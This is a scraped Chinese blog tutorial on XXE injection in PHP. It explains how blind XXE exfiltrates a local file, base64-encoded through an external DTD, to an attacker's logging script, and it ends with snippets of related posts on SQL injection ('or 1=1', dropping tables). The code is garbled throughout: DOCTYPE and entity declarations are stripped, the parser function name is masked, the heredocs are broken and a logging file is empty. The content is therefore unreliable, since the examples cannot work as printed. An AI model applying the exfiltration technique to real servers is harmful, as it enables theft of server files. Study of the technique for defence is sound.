Web安全 XEE 實體注入

2021-09-25 01:39:22 字數 1677 閱讀 4961

該筆記僅用於資訊防禦技術教學,請勿用於其他用途

目錄

一、什麼是xxe?

二、xxe原理:

xxe=外部實體注入攻擊

建議首先詳細閱讀資料,沒有什麼問題是讀一遍資料解決不了的,如果有,那麼就多讀幾遍,直到爛熟於心:

典型攻擊如下:

<?xml version="1.0" encoding="iso-8858-1"?> 

<?doctype foo[

]>

$xxe;

php中存在乙個函式:******xml_load_string() 這個函式是將xml轉化為物件

<?php

$test = ']>&test;';

$obj =******xml_load_string($test,'******xmlelement',libxml_noent);

print_r($obj);

?>

<?php

$test = ']>&test;';

$obj =******xml_load_string($test,'******xmlelement',libxml_noent);

print_r($obj);

?>

但是很多時候,後端語言解析了xml後其實並不會給你輸出,這樣我們也可以進行xxe攻擊。

我們先讀取我們想要的檔案例如:file:///users/mac/desktop/chopper.txt,為了方便傳輸,我們使用php偽協議將檔案內容base64加密讀取。

然後我們再去呼叫乙個外部的xml,比如1.xml:(">

%all;這個1.xml會被載入到原本的xml,然後我們最後來呼叫,然後你讀取出來的檔案內容會用get傳參的方式傳遞給2.php,然後2.php會記錄下來儲存到3.txt

2.php內容如下:

<?php 

?>

整體**如下:

<?php

$test = <<

%remote;

%send;

]>

eof$obj = ******xml_load_string($test,'******xmlelement',libxml_noent);

?>

這個**等價於:

<?php

$test = <<

">

%all;

%send;

]>

eof$obj = ******xml_load_string($test,'******xmlelement',libxml_noent);

?>

進一步等價於:

<?php

$test = <<

%send;

]>

eof$obj = ******xml_load_string($test,'******xmlelement',libxml_noent);

?>

這樣看,是不是簡單多了呢?

注:<<%; 是 %的轉義實體。

WEB安全 SQL注入

sql注入 or 1 例如 select form table1 where name param 一般param是從頁面輸入控制項傳遞來的資料 如果你在控制項中輸入 or 1 1 那麼他將查詢所有的資料出來 表示後面的都被注釋掉了 你還可以 drop table table1 那麼他將刪除該錶,其...

web安全 sql注入

所謂sql注入,就是通過把sql命令插入到web表單提交或輸入網域名稱或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的sql命令。具體來說,它是利用現有應用程式,將 惡意的 sql命令注入到後台資料庫引擎執行的能力,它可以通過在web表單中輸入 惡意 sql語句得到乙個存在安全漏洞的 上的資料庫,...

web安全 sql注入(一)

基於從伺服器接收到的響應 1.基於錯誤的sql注入 2.聯合查詢的型別,基於union 3.堆查詢注射,用分號連線兩個sql語句 4.sql 盲注,就是當網頁並不將執行sql語句的結果輸出,但是將sql語句執行了,這種sql注入稱為盲注,盲注分為 基於布林 sql 盲注,基於時間的 sql 盲注,基...